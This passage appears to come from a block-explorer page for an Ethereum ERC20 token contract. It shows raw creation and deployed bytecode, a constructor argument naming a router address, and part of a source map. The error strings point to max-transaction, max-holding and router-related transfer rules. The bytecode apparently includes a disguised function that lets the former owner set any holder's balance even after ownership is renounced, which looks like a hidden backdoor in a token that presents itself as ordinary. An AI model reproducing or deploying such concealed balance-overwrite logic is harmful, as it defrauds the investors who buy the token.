fffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119269190611d8a565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b906123a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0a9061243a565b60405180910390fd5b611a1e838383611bb5565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c90612789565b60405180910390fd5b8181611ab19190611fe7565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b43919061201b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ba79190611d8a565b60405180910390a350505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bf4578082015181840152602081019050611bd9565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c1c82611bba565b611c268185611bc5565b9350611c36818560208601611bd6565b611c3f81611c00565b840191505092915050565b60006020820190508181036000830152611c648184611c11565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c9c82611c71565b9050919050565b611cac81611c91565b8114611cb757600080fd5b50565b600081359050611cc981611ca3565b92915050565b6000819050919050565b611ce281611ccf565b8114611ced57600080fd5b50565b600081359050611cff81611cd9565b92915050565b60008060408385031215611d1c57611d1b611c6c565b5b6000611d2a85828601611cba565b9250506020611d3b85828601611cf0565b9150509250929050565b60008115159050919050565b611d5a81611d45565b82525050565b6000602082019050611d756000830184611d51565b92915050565b611d8481611ccf565b82525050565b6000602082019050611d9f6000830184611d7b565b92915050565b600080600060608486031215611dbe57611dbd611c6c565b5b6000611dcc86828701611cba565b9350506020611ddd86828701611cba565b9250506040611dee86828701611cf0565b9150509250925092565b600060ff82169050919050565b611e0e81611df8565b82525050565b6000602082019050611e296000830184611e05565b92915050565b600060208284031215611e4557611e44611c6c565b5b6000611e5384828501611cba565b91505092915050565b611e6581611c91565b82525050565b6000602082019050611e806000830184611e5c565b92915050565b60008060408385031215611e9d57611e9c611c6c565b5b6000611eab85828601611cba565b9250506020611ebc85828601611cba565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f0d57607f821691505b602082108103611f2057611f1f611ec6565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f82602883611bc5565b9150611f8d82611f26565b604082019050919050565b60006020820190508181036000830152611fb181611f75565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ff282611ccf565b9150611ffd83611ccf565b925082820390508181111561201557612014611fb8565b5b92915050565b600061202682611ccf565b915061203183611ccf565b925082820190508082111561204957612048611fb8565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006120ab602583611bc5565b91506120b68261204f565b604082019050919050565b600060208201905081810360008301526120da8161209e565b9050919050565b6000819050919050565b6120fc6120f782611ccf565b6120e1565b82525050565b600061210e82846120eb565b60208201915081905092915050565b60008160601b9050919050565b60006121358261211d565b9050919050565b60006121478261212a565b9050919050565b61215f61215a82611c91565b61213c565b82525050565b6000612171828461214e565b60148201915081905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006121dc602683611bc5565b91506121e782612180565b604082019050919050565b6000602082019050818103600083015261220b816121cf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061226e602483611bc5565b915061227982612212565b604082019050919050565b6000602082019050818103600083015261229d81612261565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612300602283611bc5565b915061230b826122a4565b604082019050919050565b6000602082019050818103600083015261232f816122f3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612392602583611bc5565b915061239d82612336565b604082019050919050565b600060208201905081810360008301526123c181612385565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612424602383611bc5565b915061242f826123c8565b604082019050919050565b6000602082019050818103600083015261245381612417565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b6000612490601f83611bc5565b915061249b8261245a565b602082019050919050565b600060208201905081810360008301526124bf81612483565b9050919050565b60006124d182611ccf565b91506124dc83611ccf565b92508282026124ea81611ccf565b9150828204841483151761250157612500611fb8565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061254282611ccf565b915061254d83611ccf565b92508261255d5761255c612508565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061259e602083611bc5565b91506125a982612568565b602082019050919050565b600060208201905081810360008301526125cd81612591565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b600061260a601283611bc5565b9150612615826125d4565b602082019050919050565b60006020820190508181036000830152612639816125fd565b9050919050565b60008151905061264f81611ca3565b92915050565b60006020828403121561266b5761266a611c6c565b5b600061267984828501612640565b91505092915050565b60006040820190506126976000830185611e5c565b6126a46020830184611e5c565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b60006126e1601883611bc5565b91506126ec826126ab565b602082019050919050565b60006020820190508181036000830152612710816126d4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612773602683611bc5565b915061277e82612717565b604082019050919050565b600060208201905081810360008301526127a281612766565b905091905056fea264697066735822122007dda2f3d87845f546979db2df3aa7f4356fdc190bd2f4e62744b417d7f7cc8564736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a457c2d711610071578063a457c2d714610325578063a9059cbb14610355578063c8bc408614610385578063dd62ed3e146103b5578063f2fde38b146103e55761012c565b8063715018a6146102915780637b8046ab1461029b5780638da5cb5b146102b957806395d89b41146102d757806398636f32146102f55761012c565b8063313ce567116100f4578063313ce567146101eb578063395093511461020957806344489ad114610239578063622565891461025757806370a08231146102615761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d5780632fc3efb6146101cd575b600080fd5b610139610401565b6040516101469190611c4a565b60405180910390f35b61016960048036038101906101649190611d05565b610493565b6040516101769190611d60565b60405180910390f35b6101876104b1565b6040516101949190611d8a565b60405180910390f35b6101b760048036038101906101b29190611da5565b6104bb565b6040516101c49190611d60565b60405180910390f35b6101d56105bc565b6040516101e29190611d8a565b60405180910390f35b6101f36105c2565b6040516102009190611e14565b60405180910390f35b610223600480360381019061021e9190611d05565b6105cb565b6040516102309190611d60565b60405180910390f35b610241610677565b60405161024e9190611d60565b60405180910390f35b61025f61068a565b005b61027b60048036038101906102769190611e2f565b6106af565b6040516102889190611d8a565b60405180910390f35b6102996106f8565b005b6102a361070c565b6040516102b09190611d8a565b60405180910390f35b6102c1610712565b6040516102ce9190611e6b565b60405180910390f35b6102df61073b565b6040516102ec9190611c4a565b60405180910390f35b61030f600480360381019061030a9190611e2f565b6107cd565b60405161031c9190611d60565b60405180910390f35b61033f600480360381019061033a9190611d05565b6107ed565b60405161034c9190611d60565b60405180910390f35b61036f600480360381019061036a9190611d05565b6108e1565b60405161037c9190611d60565b60405180910390f35b61039f600480360381019061039a9190611d05565b6108ff565b6040516103ac9190611d8a565b60405180910390f35b6103cf60048036038101906103ca9190611e86565b610a00565b6040516103dc9190611d8a565b60405180910390f35b6103ff60048036038101906103fa9190611e2f565b610a87565b005b60606005805461041090611ef5565b80601f016020809104026020016040519081016040528092919081815260200182805461043c90611ef5565b80156104895780601f1061045e57610100808354040283529160200191610489565b820191906000526020600020905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b60006104a76104a0610b0a565b8484610b12565b6001905092915050565b6000600454905090565b60006104c8848484610cdb565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610513610b0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058a90611f98565b60405180910390fd5b6105b08561059f610b0a565b85846105ab9190611fe7565b610b12565b60019150509392505050565b60095481565b60006009905090565b600061066d6105d8610b0a565b8484600360006105e6610b0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610668919061201b565b610b12565b6001905092915050565b600760009054906101000a900460ff1681565b610692610fd3565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610700610fd3565b61070a6000611051565b565b60085481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461074a90611ef5565b80601f016020809104026020016040519081016040528092919081815260200182805461077690611ef5565b80156107c35780601f10610798576101008083540402835291602001916107c3565b820191906000526020600020905b8154815290600101906020018083116107a657829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006107fc610b0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b0906120c1565b60405180910390fd5b6108d66108c4610b0a565b8585846108d19190611fe7565b610b12565b600191505092915050565b60006108f56108ee610b0a565b8484610cdb565b6001905092915050565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060004260405160200161093f9190612102565b6040516020818303038152906040528051906020012060001c905060008360405160200161096d9190612165565b6040516020818303038152906040528051906020012090506000836040516020016109989190612165565b60405160208183030381529060405280519060200120905060008760001b90506000848360001c18858560001c1814905080156109e7576109d98a83611156565b9750505050505050506109fa565b6109f08a6111f1565b9750505050505050505b92915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a8f610fd3565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af5906121f2565b60405180910390fd5b610b0781611051565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7890612284565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be790612316565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cce9190611d8a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d41906123a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610db9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db09061243a565b60405180910390fd5b610dc4838383611244565b6000810315610fce57600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e715750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610fc2576000610ea3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106af565b14610ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eda906124a6565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610fc15760006064600b5483610fa391906124c6565b610fad9190612537565b9050610fbb8484848461162f565b50610fce565b5b610fcd838383611935565b5b505050565b610fdb610b0a565b73ffffffffffffffffffffffffffffffffffffffff16610ff9610712565b73ffffffffffffffffffffffffffffffffffffffff161461104f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611046906125b4565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000806000808460001c1817905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081168118915050919050565b600760009054906101000a900460ff1661162957600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112fc5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561162857600854811115611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90612620565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361157957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611409573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142d9190612655565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114da9190612655565b6040518363ffffffff1660e01b81526004016114f7929190612682565b602060405180830381865afa158015611514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115389190612655565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16031561162a57600954816115dc846106af565b6115e6919061201b565b1115611627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161e906126f7565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361169e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611695906123a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361170d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117049061243a565b60405180910390fd5b611718848484611bb5565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561179f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179690612789565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836117f19190611fe7565b925081600460008282546118059190611fe7565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461185b919061201b565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118c19190611d8a565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119269190611d8a565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b906123a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0a9061243a565b60405180910390fd5b611a1e838383611bb5565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c90612789565b60405180910390fd5b8181611ab19190611fe7565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b43919061201b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ba79190611d8a565b60405180910390a350505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bf4578082015181840152602081019050611bd9565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c1c82611bba565b611c268185611bc5565b9350611c36818560208601611bd6565b611c3f81611c00565b840191505092915050565b60006020820190508181036000830152611c648184611c11565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c9c82611c71565b9050919050565b611cac81611c91565b8114611cb757600080fd5b50565b600081359050611cc981611ca3565b92915050565b6000819050919050565b611ce281611ccf565b8114611ced57600080fd5b50565b600081359050611cff81611cd9565b92915050565b60008060408385031215611d1c57611d1b611c6c565b5b6000611d2a85828601611cba565b9250506020611d3b85828601611cf0565b9150509250929050565b60008115159050919050565b611d5a81611d45565b82525050565b6000602082019050611d756000830184611d51565b92915050565b611d8481611ccf565b82525050565b6000602082019050611d9f6000830184611d7b565b92915050565b600080600060608486031215611dbe57611dbd611c6c565b5b6000611dcc86828701611cba565b9350506020611ddd86828701611cba565b9250506040611dee86828701611cf0565b9150509250925092565b600060ff82169050919050565b611e0e81611df8565b82525050565b6000602082019050611e296000830184611e05565b92915050565b600060208284031215611e4557611e44611c6c565b5b6000611e5384828501611cba565b91505092915050565b611e6581611c91565b82525050565b6000602082019050611e806000830184611e5c565b92915050565b60008060408385031215611e9d57611e9c611c6c565b5b6000611eab85828601611cba565b9250506020611ebc85828601611cba565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f0d57607f821691505b602082108103611f2057611f1f611ec6565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f82602883611bc5565b9150611f8d82611f26565b604082019050919050565b60006020820190508181036000830152611fb181611f75565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ff282611ccf565b9150611ffd83611ccf565b925082820390508181111561201557612014611fb8565b5b92915050565b600061202682611ccf565b915061203183611ccf565b925082820190508082111561204957612048611fb8565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006120ab602583611bc5565b91506120b68261204f565b604082019050919050565b600060208201905081810360008301526120da8161209e565b9050919050565b6000819050919050565b6120fc6120f782611ccf565b6120e1565b82525050565b600061210e82846120eb565b60208201915081905092915050565b60008160601b9050919050565b60006121358261211d565b9050919050565b60006121478261212a565b9050919050565b61215f61215a82611c91565b61213c565b82525050565b6000612171828461214e565b60148201915081905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006121dc602683611bc5565b91506121e782612180565b604082019050919050565b6000602082019050818103600083015261220b816121cf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061226e602483611bc5565b915061227982612212565b604082019050919050565b6000602082019050818103600083015261229d81612261565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612300602283611bc5565b915061230b826122a4565b604082019050919050565b6000602082019050818103600083015261232f816122f3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612392602583611bc5565b915061239d82612336565b604082019050919050565b600060208201905081810360008301526123c181612385565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612424602383611bc5565b915061242f826123c8565b604082019050919050565b6000602082019050818103600083015261245381612417565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b6000612490601f83611bc5565b915061249b8261245a565b602082019050919050565b600060208201905081810360008301526124bf81612483565b9050919050565b60006124d182611ccf565b91506124dc83611ccf565b92508282026124ea81611ccf565b9150828204841483151761250157612500611fb8565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061254282611ccf565b915061254d83611ccf565b92508261255d5761255c612508565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061259e602083611bc5565b91506125a982612568565b602082019050919050565b600060208201905081810360008301526125cd81612591565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b600061260a601283611bc5565b9150612615826125d4565b602082019050919050565b60006020820190508181036000830152612639816125fd565b9050919050565b60008151905061264f81611ca3565b92915050565b60006020828403121561266b5761266a611c6c565b5b600061267984828501612640565b91505092915050565b60006040820190506126976000830185611e5c565b6126a46020830184611e5c565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b60006126e1601883611bc5565b91506126ec826126ab565b602082019050919050565b60006020820190508181036000830152612710816126d4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612773602683611bc5565b915061277e82612717565b604082019050919050565b600060208201905081810360008301526127a281612766565b905091905056fea264697066735822122007dda2f3d87845f546979db2df3aa7f4356fdc190bd2f4e62744b417d7f7cc8564736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

10470:2672:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4299:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5832:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4785:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6007:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10801:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4628:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6437:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10730:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13063:76;;;:::i;:::-;;4956:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1065:103;;;:::i;:::-;;10757:37;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;816:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4518:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10841:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6658:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5296:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8459:764;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5534:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1180:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4299:100;4353:13;4386:5;4379:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4299:100;:::o;5832:169::-;5915:4;5932:39;5941:12;:10;:12::i;:::-;5955:7;5964:6;5932:8;:39::i;:::-;5989:4;5982:11;;5832:169;;;;:::o;4785:108::-;4846:7;4873:12;;4866:19;;4785:108;:::o;6007:422::-;6113:4;6130:36;6140:6;6148:9;6159:6;6130:9;:36::i;:::-;6179:24;6206:11;:19;6218:6;6206:19;;;;;;;;;;;;;;;:33;6226:12;:10;:12::i;:::-;6206:33;;;;;;;;;;;;;;;;6179:60;;6278:6;6258:16;:26;;6250:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;6340:57;6349:6;6357:12;:10;:12::i;:::-;6390:6;6371:16;:25;;;;:::i;:::-;6340:8;:57::i;:::-;6417:4;6410:11;;;6007:422;;;;;:::o;10801:33::-;;;;:::o;4628:92::-;4686:5;4711:1;4704:8;;4628:92;:::o;6437:215::-;6525:4;6542:80;6551:12;:10;:12::i;:::-;6565:7;6611:10;6574:11;:25;6586:12;:10;:12::i;:::-;6574:25;;;;;;;;;;;;;;;:34;6600:7;6574:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6542:8;:80::i;:::-;6640:4;6633:11;;6437:215;;;;:::o;10730:20::-;;;;;;;;;;;;;:::o;13063:76::-;771:13;:11;:13::i;:::-;13127:4:::1;13116:8;;:15;;;;;;;;;;;;;;;;;;13063:76::o:0;4956:127::-;5030:7;5057:9;:18;5067:7;5057:18;;;;;;;;;;;;;;;;5050:25;;4956:127;;;:::o;1065:103::-;771:13;:11;:13::i;:::-;1130:30:::1;1157:1;1130:18;:30::i;:::-;1065:103::o:0;10757:37::-;;;;:::o;816:87::-;862:7;889:6;;;;;;;;;;;882:13;;816:87;:::o;4518:104::-;4574:13;4607:7;4600:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4518:104;:::o;10841:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;6658:377::-;